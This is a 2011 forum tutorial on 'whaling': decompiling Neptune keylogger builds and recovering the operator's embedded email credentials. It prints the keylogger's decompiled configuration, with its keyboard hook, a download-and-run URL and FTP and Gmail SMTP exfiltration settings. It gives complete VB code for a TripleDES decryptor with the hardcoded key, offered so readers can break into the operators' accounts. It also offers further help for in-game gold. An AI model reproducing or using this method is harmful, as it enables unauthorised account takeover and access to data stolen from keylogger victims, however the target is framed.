[TUT/Download] Decrypting The Majority Of Keyloggers [WHALING] - Endax - Feb 7, 2011

Go to my youtube channel for video's on whaling and other topics: http://www.youtube.com/EndaxTV

Now I say majority, this is how to decrypt Neptune keylogger which is used by the majority of people, if when you open it up in.Net Reflector inside your .cctor() is something like:

Code
Shared Sub New()
    Module1.Didec = True
    Module1.DnEIL = False
    Module1.ZOiYP = False
    Module1.LYmTkXb = False
    Module1.CagcorG = False
    Module1.bvPJyen = False
    Module1.kkzEHyX = "10"
    Module1.PcnIVJu = "C:\Windows\Microsoft.NET\assembly"
    Module1.gHhsmFC = 1
    Module1.DYMVsnR = "VfDj"
    Module1.ZZYdzHO = "CurrentUser"
    Module1.QfYIpsN = "lBhoHP"
    Module1.rSbnQjP = "cvPidSxHIG"
    Module1.jHqBHDPfu = "iexplorer.exe"
    Module1.SDDate = "+SDDate+"
    Module1.TakeScrns = False
    Module1.Message = New String() { "+MsgFalse+", "+MsgMsg+", "+Ico+" }
    Module1.Delay = "+DelOff+"
    Module1.FRMsg = False
    Module1.NoEL = False
    Module1.SSTime = False
    Module1.SSInt = "10"
    Module1.emcIDECHr = False
    Module1.nRvtbQkbS = "http://www.exampleserver.com/directfile.exe"
    Module1.uOtSjvjhb = False
    Module1.BXYhFmQfM = "setup.exe"
    Module1.ZXzhykoPo = True
    Module1.QpBuNwTDO = False
    Module1.GjlSYrzpV = "LHs1gVoZGRA="
    Module1.NTPbrsOQZ = "ftp.exampleserver.com"
    Module1.lCrumLoTR = "LHs1gVoZGRA="
    Module1.OOpxKmGlK = "/"
    Module1.yQeznwVQ = "smtp.gmail.com"
    Module1.rrqvSZgL = "7wPhoTI0TvUSRFTyNIuY0bDFER1pKlUw"
    Module1.fQxzVxCQ = "Iz18IC6KlfM="
    Module1.RkQoGgGR = "[email protected]"
    Module1.WnDKMVsn = "587"
    Module1.LMKPzHOe = "----[ ~~----[ ~~]----"
    Module1.wucRlbSg = "----[ ~~]----"
    Module1.cdbgRKRv = True
    Module1.RBwlGvmB = True
    Module1.JpItxXLJ = True
    Module1.VYnJK = True
    Module1.KeyboardHandle = IntPtr.Zero
    Module1.LastCheckedForegroundTitle = ""
    Module1.callback = Nothing
End Sub

Then we can decrypt it using this method.

In this case
Code
Module1.rrqvSZgL = "7wPhoTI0TvUSRFTyNIuY0bDFER1pKlUw"
is the email.

And
Code
Module1.fQxzVxCQ = "Iz18IC6KlfM="
is the password.

Heres the full vb code you need two text boxes and a button, put the variable in text box one click the button it appears in text box 2.

Code
Imports System
Imports System.IO
Imports System.Security
Imports System.Security.Cryptography
Imports System.Text
Imports Microsoft.VisualBasic.CompilerServices.NewLateBinding

Public Class Form1

    Public Shared Function TripleDESDecode(ByVal value As String, ByVal key As String) As String
  Try
    Dim provider As New TripleDESCryptoServiceProvider
    provider.IV = New Byte(8 - 1) {}
    provider.Key = New PasswordDeriveBytes(key, New Byte(0 - 1) {}).CryptDeriveKey("RC2", "MD5", &H80, New Byte(8 - 1) {})
    Dim buffer As Byte() = Convert.FromBase64String(value)
    Dim stream2 As New MemoryStream(value.Length)
    Dim stream As New CryptoStream(stream2, provider.CreateDecryptor, CryptoStreamMode.Write)
    stream.Write(buffer, 0, buffer.Length)
    stream.FlushFinalBlock()
    Dim buffer2 As Byte() = New Byte((CInt((stream2.Length - 1)) + 1) - 1) {}
    stream2.Position = 0
    stream2.Read(buffer2, 0, CInt(stream2.Length))
    stream.Close()
    Return Encoding.UTF8.GetString(buffer2)
  Catch
    Return "Error"
  End Try
    End Function

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  TextBox3.Text = TripleDESDecode(TextBox1.Text, "System.Net")
    End Sub

End Class

Alternatively use my program that I've already compiled:

This isn't against the rules as this can be used to decrypt any neptune keylogger and isn't about rs hacking, it's purely in this forum as it will shut up some of the people asking.

Further help can be given in return for rsgp.
